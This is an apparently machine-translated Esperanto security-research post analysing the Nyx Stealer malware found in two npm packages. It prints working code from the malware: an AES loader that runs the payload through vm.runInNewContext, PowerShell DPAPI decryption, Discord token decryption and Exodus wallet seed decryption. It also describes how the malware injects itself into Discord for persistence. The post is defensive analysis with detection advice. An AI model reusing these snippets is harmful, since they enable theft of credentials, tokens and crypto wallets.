TL; DR
La Xygeni Sekureca Esplorteamo identigis sofistikan npm-informŝtelistan kampanjon liveritan per du malicaj pakaĵoj: konsololofy kaj memroboto-lofy.
La plej nova versio (consolelofy@1.3.0) enkorpigas 216KB AES-ĉifritan utilan ŝarĝon kiu malĉifras dum rulado kaj efektivigas per vm.runInNewContext()Ĉar la malica logiko estas plene ĉifrita, statikaj skaniloj fidantaj je ĉenkontrolo ne povas observi ĝian konduton ĝis la plenumtempo.
Post deĉifrado, la utila ŝarĝo, interne markita Niksa Ŝtelisto, celoj:
- Discord-aŭtentigaj ĵetonoj
- Pli ol 50 stokejoj de retumilaj akreditaĵoj
- Pli ol 90 etendaĵoj por monujoj de kriptomoneoj
- Roblox, Instagram, Spotify, Steam, Telegram, kaj TikTok-sesioj
- Persisto de Discord-klienta labortablo
Ĉiuj 20 versioj tra ambaŭ pakaĵoj estis raportitaj kaj konfirmitaj kiel malicaj.
Teknika Superrigardo de Ĉi tiu npm-Informŝtelisto
Male al tradiciaj instaltempaj malicaĵoj, ĉi tiu kampanjo dependas de rultempo malkriptiga modelo.
Estas:
- Neniu malica
preinstallorpostinstallhooks - Neniuj evidentaj retvokoj dum instalado
- Neniu logiko por rikolti klartekstajn akreditaĵojn
La utila ŝarĝo aktiviĝas kiam la modulo estas importita. La tuta malica korpo estas ĉifrita kaj nur materialiĝas en memoro dum rulado.
Ĉi tiu dezajno specife evitas detekton dum pakaĵinstalaĵo.
Kiel ĉi tiu npm-informŝtelisto efektive funkcias
Antaŭ ol analizi kion ŝtelas Nyx Stealer, ni devas kompreni kiel ĝi efektivigas.
La malica logiko ene de ĉi tiu npm-informŝtelisto sekvas koheran ŝablonon:
Malgranda ŝargilo malĉifras grandan ĉifritan utilan ŝarĝon kaj efektivigas ĝin dinamike ene de Node.js VM-kunteksto.
Ĉi tiu dezajno estas intenca. La atakanto ne kaŝas funkciecon nur malantaŭ malklarigado, ili... tute forigi la malican kodon el statika videbleco.
Altnivela Ekzekuta Modelo
Je alta nivelo, la envolvaĵo faras kvar aferojn:
- Derivas AES-ŝlosilon el fiksita pasfrazo uzante SHA-256
- Malĉifras grandan deksesume-ĉifritan ĉifrotekston uzante AES-256-CBC
- Plenumas la malĉifritan JavaScript-kodon uzante
vm.runInNewContext() - Provizas sablokeston kiu ankoraŭ eksponas potencajn rultempajn primitivojn
Resumo de Kerna Tekniko
| komponanto | Agordo / Valoro |
|---|---|
| algoritmo | AES-256-CBC |
| Ŝlosila Derivado | SHA-256 (pasfrazo) |
| Inicialiga Vektoro (IV) | 16 bajtoj de 0x00 |
| ekzekuto | vm.runInNewContext(malĉifrita, sablokesto) |
Kritike, la sablokesto pasas tra:
requireprocessBuffer- tempigiloj
- modulaj eksportoj
Tio signifas, ke la deĉifrita utila ŝarĝo retenas plenan kapablon:
- Frajaj procezoj
- Legi kaj skribi dosierojn
- Fari retvokojn
- Modifi lokajn aplikaĵojn
Ĉi tio ne estas limigita virtuala maŝino. Ĝi estas virtuala maŝino uzata kiel ekzekuttrampolino.
Rultempa Ĉifrada Padrono (Kerna Ekzekuta Mekanismo)
La ŝargilo estas malgranda.
La malica korpo ne estas.
Jen la ekzekutŝablono trovebla en la pakaĵo:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Kial Ĉi tio Gravas
La malĉifrita utila ŝarĝo:
- faras ne ekzisti en klarteksto ene de la npm-pakaĵo
- Estas nevidebla al simplaj
grepaŭ statika skanado de ĉenoj - Nur realiĝas en memoro dum rultempo
- Funkcias kun plenaj Node-rultempaj kapabloj
Ĉi tiu kombinaĵo de AES + VM-ekzekuto estas forta konduta indikilo de npm-infoŝtelisto provas eviti statikan inspektadon.
Alivorte:
Se vi skanas la pakaĵan fontarbon, vi ne vidas ŝteliston.
Vi vidas malĉifrilon.
Kio Okazas Post Malĉifrado
Post efektivigo, Nyx Stealer lanĉas paralelajn datenkolektajn ondojn.
Ondo 1: Eltiro de Retumilaj Akreditaĵoj
La malica programaro:
- Elŝutas Python-rultempon el NuGet CDN
- Instalas kriptografiajn bibliotekojn
- Eltiras Kromo-bazitajn akreditaĵajn stokejojn
- Malĉifras DPAPI-protektitajn sekretojn
Anstataŭ kompili denaskajn ligadojn, ĝi utiligas PowerShell por rekte voki Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Ĉi tiu aliro:
- Evitas kompilajn artefaktojn
- Uzas denaskajn kripto-APIojn de Vindozo
- Miksiĝas en administrajn ilojn
Ĝi estas malĉifrado de akreditaĵoj je operacium-nivelo, ne skrapado.
Ondo 2: Malĉifrado de Discord-Ĵetonoj
La ŝtelisto estas protokol-konscia. Ĝi komprenas la ĉifritan ĵetonformaton de Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Funkcia fluo:
- Eltiru la ĉefan ŝlosilon el Discord
Local State - Malĉifri la ĉefan ŝlosilon per DPAPI
- Malĉifri AES-GCM-ĵetonajn blokojn
- Validigi ĵetonojn kontraŭ la Discord API
- Riĉigu per Nitro, insignoj, fakturaj informoj
Ĉi tio ne estas ĝenerala akreditaĵa ŝutado. Ĝi estas protokol-konscia seanca ŝtelo.
Ondo 3: Celado de Kriptovalutaj Monujoj
La npm-infoŝtelisto listigas:
- Pli ol 90 etendaĵoj por retumilo-monujo
- 27 labortablaj monujoj
- Malvarmaj monujo-vojoj
- Eliro-semdosieroj
Ekzempla provo de malĉifrado de semoj:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Se sukcesa, la monuja kompromiso estas tuja kaj nemaligebla.
Ĉi tio reprezentas la plej altvaloran monetigan vektoron de la kampanjo.
Persisto per Discord Desktop Injection
Post rikoltado de akreditaĵoj, Nyx Stealer provas persiston modifante la lokan Malkonkordo kliento.
Celo:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Operacia Sekvenco
La informŝtelisto plenumas la jenajn paŝojn:
- Finas kurantajn Discord-procezojn
- Trovas instalitajn Discord-variaĵojn (Stable, Canary, PTB)
- Anstataŭigas
discord_desktop_core/index.js - Injektas atakant-kontrolitan rethoklogikon
- Rekomencas Discord
Tio certigas, ke estontaj Discord-sesioj aŭtomate likos freŝajn aŭtentigajn ĵetonojn.
Grave, ĉi tiu persisto ne dependas de planitaj taskoj aŭ registro-modifoj. Ĝi utiligas aplikaĵ-nivelan kodmodifon, pli sekretan aliron.
Eĉ se la malica npm-pakaĵo poste estas forigita, la Discord-kliento restas kompromitita.
Teknika Komparo: Legitima Selfbot kontraŭ npm Infostealer
| komponanto | Legitima Biblioteko | Nyx npm Informŝtelisto |
|---|---|---|
| ĉifrado | neniu | Plena AES-ĉifrita utila ŝarĝo |
| Rultempa virtuala maŝino | ne postulis | vm.runInNewContext ekzekuto |
| Aliro al Akreditaĵoj | Nur Discord API | Retumilo, monujoj, DPAPI |
| Eksteraj Elŝutoj | Ne | Python-rultempo per NuGet |
| persisto | Ne | Injekto de Discord-kliento |
| monetization | Robotaŭtomatigo | Revendo de akreditaĵoj |
La ĉifrada tavolo sole jam apartigas ĉi tiun kampanjon de tipa malfermfonteca forko.
Legitima Discord-memroboto havas neniun kialon ĉifri sian tutan kodbazon, krei PowerShell por aliri DPAPI, elŝuti eksterajn rultempojn, aŭ modifi internaĵojn de labortablaj aplikaĵoj. Kiam tiuj kapabloj aperas ene de dependeco, kiu pretendas aŭtomatigi Discord-interagojn, la arkitektura misagordo fariĝas neeble ignori.
El esplora vidpunkto, ĉi tiu npm-informŝtelisto lasas spurojn trans pluraj tavoloj. Tamen, la plej fidindaj indikiloj ne estas fikskoditaj URL-oj aŭ specifaj dosierpadoj, ĉar tiuj povas ŝanĝiĝi inter versioj. Anstataŭe, la daŭraj signaloj estas strukturaj.
Ĉe la pakaĵnivelo, la plej forta ruĝa flago estas la kombinaĵo de granda ĉifrita utila ŝarĝo kaj rultempa malĉifrada envolvaĵo, kiu tuj efektiviĝas per vm.runInNewContext()Kvankam ĉifrado sole ne estas esence malica, uzi AES-malĉifradon sekvatan de dinamika virtuala ekzekuto ene de Discord-utilaĵa pakaĵo estas tre nenormala.
Ĉe la gastiga nivelo, suspektindaj ŝablonoj inkluzivas neatenditan DPAPI-malĉifran agadon, procezojn aperantajn el Node.js-dependeca kunteksto, kaj modifon de lokaj aplikaĵdosieroj, kiujn neniam devus ŝanĝi triapartaj bibliotekoj. Simile, ĉe la reta tavolo, ekstereniranta rethok-stila komunikado iniciatita de evoluiga dependeco reprezentas alian signifan anomalion.
Alivorte, la detekta surfaco ne estas ununura indikilo de kompromiso. Estas la korelacio de ĉifrado, rultempa efektivigo, aliro al akreditaĵoj kaj persista konduto kiu malkaŝas la minacon.
Detekto kaj Mildigo per Xygeni
Ĉi tiu npm-informŝtelisto estis identigita de Frua Averto pri Malica Programaro de Xygeni (MEW) per tavoligita konduta korelacio anstataŭ simpla signaturakordigo.
Anstataŭ serĉi konatajn malicajn ĉenojn, MEW taksas strukturajn anomaliojn tra la plena fontarbo. En ĉi tiu kazo, detekto aperis el la konverĝo de pluraj signaloj: enigita AES-malĉifra rutino en la modula enirejo, tuja efektivigo ene de virtuala virtuala kunteksto, kaj klara misagordo inter kapablo kaj intenco.
Grave estas, ke neniu el ĉi tiuj signaloj sole pruvas malican intencon. Tamen, kiam analizitaj kune, ili malkaŝas provon kaŝi konduton dum la rulado. Ĉi tiu tavola aliro signife reduktas falsajn pozitivojn, samtempe identigante alt-fidajn minacojn al la provizoĉeno.
Krome, ĉi tiu kazo ilustras kial instalado-tempa inspektado sole ne sufiĉas. La malica logiko ne loĝas en vivciklaj skriptoj. Ĝi aktiviĝas nur post kiam la modulo ŝarĝiĝas kaj nur fariĝas videbla post malĉifrita en memoro. Tial, efika defendo postulas ĉifrad-konscian analizon, kondutajn ŝablonrekonon kaj kontinuan dependecan monitoradon preter instaladokazaĵoj.
Malaktivigo de registro estas reakcia. Analizo konscia pri rultempo estas preventa.
Kial Ĉi Tiu NPM-Informŝtelisto Gravas
Nyx Stealer reprezentas strukturan evoluon en npm-bazita malica programaro.
Historie, multaj malicaj pakaĵoj dependis de videblaj instaltempaj skriptoj aŭ evidentaj finpunktoj por elfiltrado de akreditaĵoj. Kontraste, ĉi tiu kampanjo ĉifras sian utilan ŝarĝon, prokrastas ekzekuton al rultempo, utiligas legitimajn API-ojn de operaciumoj, kaj establas persistecon ene de fidindaj aplikaĵoj.
Sekve, la atakanto ne bezonas ekspluati la npm-infrastrukturon mem. Anstataŭe, la atako sukcesas ĉar la instalado de dependecoj implicas fidon. Programistoj supozas, ke importi bibliotekon estas sekura operacio, precipe kiam ĝi prezentas sin kiel kredindan forkon de populara ilo.
Dum ekosistemoj daŭre kreskas kaj forkoj multiĝas, tiu implica fidlimo fariĝas ĉiam pli alloga ataksurfaco. Tial, defendi kontraŭ modernaj npm-informŝtelistoj postulas rekoni arkitekturajn ŝablonojn anstataŭ serĉi senmovajn ĉenojn.
Fine, ĉi tiu kampanjo plifortigas gravan lecionon pri software supply chain security: la plej danĝeraj minacoj ne estas tiuj, kiuj aspektas malicaj unuarigarde, sed tiuj, kiuj ŝajnas strukture legitimaj ĝis la rultempo malkaŝas ilian veran konduton.




